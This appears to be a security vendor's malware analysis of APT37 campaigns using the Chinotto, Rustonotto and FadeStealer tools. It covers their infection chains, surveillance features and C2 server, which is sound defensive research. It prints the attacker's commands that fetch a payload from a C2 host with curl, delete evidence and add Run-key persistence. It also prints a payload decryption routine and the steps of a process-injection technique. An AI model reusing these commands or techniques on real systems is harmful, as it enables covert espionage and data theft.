APT37: Rust Backdoor & Python Loader | ThreatLabz
By Seongsu Park
Published: 2025-09-08 · Archived: 2026-04-05 21:47:32 UTC
Technical Analysis 
Attack chain
ThreatLabz reconstructed the APT37 infection chain that begins with an initial compromise via a Windows
shortcut or a Windows help file, followed by Chinotto dropping FadeStealer through a sophisticated infection
process. The attack chain is depicted in the figure below.
Figure 1: Full infection chain involving Chinotto, Rustonotto, and FadeStealer.
Windows shortcut and Rustonotto
In one campaign, APT37 utilizes a Windows shortcut file. When this shortcut file (MD5:
b9900bef33c6cc9911a5cd7eeda8e093) is launched, a malicious PowerShell script, Chinotto, is invoked that
extracts an embedded decoy and payload using predefined markers. The steps outlined below detail the infection
process initiated when the victim executes Chinotto.
1. Scans  %temp% and the current working directory for its own Windows shortcut file, validating its exact
size (6,032,787 bytes) to ensure the correct file is processed.
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2. Reads the Windows shortcut, converts the byte values to ASCII, and extracts two hex-encoded payloads
delimited by the markers AEL (first payload start), BEL (second payload start), and EOF (end of file
marker).
3. Converts the first hex payload to binary and writes it as  C:\ProgramData\NKView.hwp , then launches it as a
decoy document.
4. Decodes the second payload and writes it as  C:\ProgramData\3HNoWZd.exe , which functions as the main
executable.
5. Creates a scheduled task named  MicrosoftUpdate , configured to execute  3HNoWZd.exe every 5 minutes
using schtasks .
The decoy document is a Hangul Word Processor (HWP) file titled “Two Perspectives on North Korea in South
Korean Society”, which was last modified on June 11, 2025.
Figure 2: Example decoy document dropped by an APT37 Windows shortcut file.
The dropped payload is Rustonotto, which is a Rust-compiled binary (MD5
7967156e138a66f3ee1bfce81836d8d0). Rustonotto receives Base64-encoded Windows commands and returns the
execution results also in a Base64-encoded format. The steps below illustrate the sequence of Rustonotto’s
behavior, specifically focusing on its C2 communication.
1. Establishes an HTTP connection to the C2 server with the  U= HTTP query parameter.
2. Makes HTTP requests to the C2 server to fetch commands.
3. Executes the commands received.
4. Captures the command output and sends the result back to the C2 server with the  R= HTTP query
parameter.
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Windows help file and PowerShell-based payload
In another campaign, the threat actor used a Windows help file (CHM) to deliver malware, a method that
ThreatLabz has observed APT37 use before. In this case, the victim was sent a RAR file named 2024-11-22.rar.
Inside the RAR archive were two files: a password-protected ZIP archive called KT그룹 채용 (translated as KT
Job Description) and a malicious Windows help file named Password.chm. (which was disguised as a document
containing the password for the ZIP archive). The malicious CHM file, when opened, creates a registry value
under the Run key to trigger the download and execution of an HTML Application (HTA) file from the threat
actor’s server each time the current user logs on. The example below shows how the CHM file is configured to
perform this action: 
The HTA file ( 1.html ) downloaded by the CHM contains a malicious PowerShell script that acts as a backdoor,
allowing the threat actor to control the infected computer remotely. The backdoor known as Chinotto is capable of
performing various tasks, such as transferring files, executing commands, modifying the registry, creating
scheduled tasks, and more. When Chinotto launches, it creates a unique victim identifier by combining the
computer name and the username, which Chinotto uses when communicating with the C2 server. Chinotto
connects to the same C2 server URL previously associated with Rustonotto.
To avoid running the malware more than once on the same machine, Chinotto generates a file
named %TEMP%\jMwVrHdPtpv as an execution marker. Every 5 seconds, Chinotto checks the threat actor’s C2
server for new instructions via HTTP POST requests, sending the victim ID (formatted as  U=[victim ID] ).
Chinotto then receives commands from the server, which are Base64 decoded, and executed on the infected
system. The table below shows the commands supported by Chinotto, along with their description.
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Commands Description
FINFO
Collects file information (name, size, timestamps, path) from a specified directory, saves it to
a CSV file, and uploads the CSV to the C2 server.
DIRUP
Compresses the contents of a specified directory into a ZIP archive and uploads the ZIP to the
C2 server.
SFILE Uploads a specified file to the C2 server.
DOWNF Downloads a file from a given URL and saves it to a specified path.
CURLC Uses curl to download a file from a URL and saves it to a specified path.
REGED Modifies the Windows registry at a specified location, setting the name and value.
TASKA Creates a scheduled task to run a specified command at regular intervals.
ZIPEX Extracts the contents of a ZIP archive to a specified destination.
RENAM Renames a specified file or directory.
DELET Deletes a specified file or directory.
Table 1: Commands supported by the Chinotto backdoor.
When Chinotto completes execution, it sends a Base64-encoded done message back to the C2 server with the  R=
HTTP query parameter.
Transacted injection
The threat actor's hands-on-keyboard activities with the implanted Chinotto variant involved delivering malicious
payloads packaged in Microsoft Cabinet (.CAB) files. These payloads, equipped with Python-based launchers,
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were extracted and executed upon delivery. The commands used to deliver and execute the payloads are outlined
in the table below.
Delivered commands Description
curl http://[redacted]/images/test/wonder.dat -o
"c:\programdata\wonder.cab"
Fetches the Microsoft
Cabinet (CAB) file
payload from the C2
server.
expand c:\programdata\wonder.cab -F:* c:\programdata
Extracts the contents of
the .CAB file to the
specified directory.
del /f /q c:\programdata\wonder.cab
Deletes the .CAB file
to remove evidence.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v TeleUpdate
/d "c:\programdata\tele_update\tele_update.exe
c:\programdata\tele_update\tele.conf c:\programdata\tele_update\tele.dat"
/f
Adds a registry entry to
enable automatic
execution at system
startup or login.
c:\programdata\telegram_update\tele_update.exe
c:\programdata\telegram_update\tele.conf
c:\programdata\telegram_update\tele.dat
Launches FadeStealer
with its associated
configuration and data
files.
Table 2: Example APT37 commands executed to deliver FadeStealer.
Each file executed during the threat actor’s hands-on-keyboard activity includes three components: 
A legitimate Python module (tele_update.exe).
A compiled Python module (tele.conf) that decrypts and loads FadeStealer from a file named tele.dat.
The FadeStealer payload (tele.dat), Base64-encoded and XOR encrypted.
The compiled Python module, created on 2025-04-01 05:42:03, is internally named TransactedHollowing.py,
suggesting the use of a technique for stealthily injecting and executing arbitrary code within a legitimate Windows
process.
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The script is designed to process a single input file containing a Base64-encoded payload. The script decodes the
payload and applies a custom XOR-based decryption routine to extract a Windows executable. The decrypted
executable is intended for injection into a target process. The following code demonstrates the decryption routine
used to unpack the payload.
def decrypt_custom_encoded_file(file_path):
 try:
 # Open the file in binary mode and read its content
 with open(file_path, "rb") as file:
 encoded_data = file.read()
 
 # Decode the content from base64
 decoded_data = base64.b64decode(encoded_data)
 
 # Read offset and update it
 offset = decoded_data[0]
 offset += 1
 
 # Get key length and update offset
 key_length = decoded_data[offset]
 offset += 1
 
 # Extract the XOR key
 xor_key = decoded_data[offset : offset + key_length]
 offset += key_length
 
 # Decrypt the rest of the data using XOR with the key
 decrypted = bytes([
 decoded_data[i] ^ xor_key[(i - offset) % key_length]
 for i in range(offset, len(decoded_data))
 ])
 
 return decrypted
After unpacking the original payload, the Python script employs the Process Doppelgänging technique to inject
the payload into a legitimate Windows process. The technique involves the following steps:
1. Transacted file creation and section object setup
1. The script uses Windows Transactional NTFS (TxF) APIs (e.g.,  CreateFileTransactedW ) to create
a new file within a transaction context.
2. The decrypted Portable Executable (PE) payload is written to the transacted file.
3. The function  NtCreateSection is called to create a memory section object, using the transacted
file as the backing store for the payload's memory.
4. The transaction is rolled back ( RollbackTransaction ), while preserving the section object in
memory.
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5. The temporary file handle is closed, and the file is deleted, leaving no trace of the payload on disk.
2. Suspended process creation
1. The script randomly selects a legitimate Windows system executable from a predefined list.
Examples include: calc.exe, msinfo32.exe, svchost.exe, GamePanel.exe,
UserAccountControlSettings.exe, and control.exe.
2. The script creates a new process associated with the chosen executable in a suspended state.
3. Section mapping, context manipulation, and execution
1. The section object containing the payload is mapped into the address space of the suspended
process using  NtMapViewOfSection .
2. The script modifies the thread context of the suspended process
(via  GetThreadContext  /  SetThreadContext or their Wow64 equivalents) to redirect execution to
the payload's entry point.
3. The Process Environment Block (PEB) of the target process is updated to reflect the new image
base address associated with the injected payload.
4. The main thread of the process is resumed ( ResumeThread ), triggering the execution of the injected
payload.
The decrypted malware is FadeStealer, the same data-theft tool previously documented by AhnLab. FadeStealer
periodically gathers files from the infected system, compresses them into password-protected RAR archives, and
transmits them to a C2 server. When launched, FadeStealer creates working directories under
the  %TEMP%\VSTelems_Fade\ folder. FadeStealer has two main functions: automatically exfiltrating sensitive files
and sending specific files as directed by commands specified by the threat actor. 
FadeStealer file stealing commands
Once connected to the C2 server, FadeStealer receives Base64-encoded commands specifying a file path and a
search pattern, separated by the  | character. These commands direct the malware to gather target files based on
the criteria provided. After collecting the files, FadeStealer creates a timestamped RAR archive
(e.g.,  data_YYYY_MM_DD-HH_MM_SS.rar ) and sends it back to the C2 server. Some example commands are listed
below:
Command Description 
C:\Users\|*.doc Collect all Word documents from the Users directory.
C:\Documents\|*.* Collect all files from the Documents folder.
D:\|*.pdf Collect all PDF files from the D: drive.
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Table 3: Example commands supported by FadeStealer.
FadeStealer surveillance
In surveillance mode, FadeStealer operates multiple threads, each dedicated to monitoring and collecting specific
types of data from the infected system. These threads function independently to capture keystrokes, screenshots,
audio recordings, and file content from connected devices.
In the table below, the capabilities, collection frequency, file naming patterns, and storage locations of the
malware are listed.
Capabilities Frequency Files Collected Directory
Records all
keystrokes
Real-time key_YYYY_MM_DD.log %TEMP%\VSTelems_Fade\NgenPdbk\
Captures screen
images
Every 30
sec
YYYY_MM_DD-HH_MM_SS.jpg %TEMP%\VSTelems_Fade\NgenPdbc\
Records
microphone audio
5-min
sessions
YYYY_MM_DD-HH_MM_SS.wav %TEMP%\VSTelems_Fade\NgenPdbm\
Monitors for USB
devices
Every 1
hour
usb_YYYY_MM_DD-HH_MM_SS.rar
%TEMP%\VSTelems_FadeOut\
Monitors
cameras/portable
devices
Every 1
hour
[DeviceName]_YYYY_MM_DD-HH_MM_SS.rar
%TEMP%\VSTelems_FadeIn\
Table 4: Surveillance capabilities and corresponding files associated with FadeStealer. 
FadeStealer compiles all the collected data into a RAR archive every hour, using a naming format
like  watch_YYYY_MM_DD-HH_MM_SS.rar . This archive includes files stored in the main directory
( %TEMP%\VSTelems_Fade\ ), which contain keylogging data, screenshots, audio recordings, and captured files. A
separate thread is responsible for uploading these archives to the C2 server.
To ensure timely exfiltration, another thread actively monitors and identifies archived RAR files every 10 seconds,
sending them to the C2 server upon detection.
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In the table below, the source directories, archive types, and the contents of the collected data are outlined.
Source Directory Archive Types Content
%TEMP%\VSTelems_Fade\
watch_YYYY_MM_DD-HH_MM_SS.rarHourly surveillance data consolidated
(keylogging, screenshots, audio).
%TEMP%\VSTelems_FadeOut\
usb_YYYY_MM_DD-HH_MM_SS.rarUSB device contents collected when
inserted.
%TEMP%\VSTelems_FadeIn\
[DeviceName]_YYYY_MM_DD-HH_MM_SS.rar
MTP-enabled devices such as
smartphones, cameras, and media player
contents gathered during monitoring.
Any location
data_YYYY_MM_DD-HH_MM_SS.rar
Files collected via remote commands.
Table 5: Filenames and paths used for surveillance by FadeStealer.
When sending files, FadeStealer uses HTTP POST requests with multipart form data, specifying myboundary as
the boundary name. Additionally, when creating a RAR archive, FadeStealer utilizes the hardcoded
password NaeMhq[d]q to encrypt the RAR content and employs a custom RAR.exe tool extracted from its
embedded resources.
C2 server
The threat actor leveraged vulnerable web servers to act as C2 servers for managing malware operations. The C2
PHP script used by APT37 is a lightweight and file-based backend, facilitating communication between the threat
actor and the malware implants. The C2 server enables command delivery, result collection, and file uploads, all
organized within a single JSON file (info).
Using this simple yet effective script, the threat actor controlled the entire suite of malware tools used in the
campaign. This included Rustonotto, Chinotto, and FadeStealer, all of which utilized the same Base64-encoded
format for communication. While some malware variants featured slight differences in command structures, the
C2 server PHP script provided unified and streamlined control over the entire malware toolset. The figure below
illustrates how the C2 server functioned as a central hub for delivering commands, collecting results, and handling
uploads across the different malware components in the campaign.
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Figure 3: APT37 C2 server architecture for Rustonotto, Chinotto, and FadeStealer.
The APT37 C2 server maintains two arrays: a  parent array for storing results received from the malware
implant and a  child array for storing commands issued by the threat actor. The code sample below demonstrates
how the APT37 C2 server initializes its operation.
…
if (!file_exists("info"))
{
 file_put_contents("info", '{"parent" : [{"id" : "", "text" : ""}], "child" : [{"id" : "", "text" : ""}]}');
}
$jsonStored = '';
$jsonStored = json_decode(file_get_contents("info"));
…
The APT37 C2 server handles incoming HTTP requests differently depending on whether they originate from the
threat actor or the malware implant. Requests are processed based on specific types and associated parameters, as
outlined in the table below.
Request
Type
Parameter Description
GET/POST U=parent
When the threat actor sends the query string  U=parent , the C2 sends back the
entire  parent array, containing results from the clients. After delivering the
response, the C2 resets the parent array to empty.
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Request
Type
Parameter Description
GET U=&C=
When the threat actor issues a command for a specific client, the Base64-
encoded command is decoded and stored in the  child array under the
client’s ID. If the entry already exists, it is updated; otherwise, a new entry is
created. The command is delivered to the client during its next poll and then
cleared from the store.
POST U=&R=
When a client sends back a result, the result is Base64-decoded and stored in
the  parent array under the client’s ID. If the entry already exists, it is
updated; otherwise, a new entry is created. The threat actor can later retrieve
these results using the query string  U=parent .
POST U=&_file=
When a client uploads a file, it is saved in the current directory with a
filename prefixed by the client’s ID. The final filename format is  _ . If the
file already exists, the data is appended.
GET/POST U=
When a client polls for commands without sending a result or file, the script
checks the child array for pending commands. If a command is found, it is
delivered and cleared. If no command exists, the script checks the parent array.
If no result is present, it responds with a default handshake message
(" SEVMTw== ", Base64 for " HELLO ").
Table 6: APT37 C2 server HTTP parameters and their corresponding purposes.
The threat actor retrieves exfiltrated files from the compromised machine by issuing a direct GET request to the
C2 server, leveraging prior knowledge of the client ID and the specific file name.
Source: https://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader
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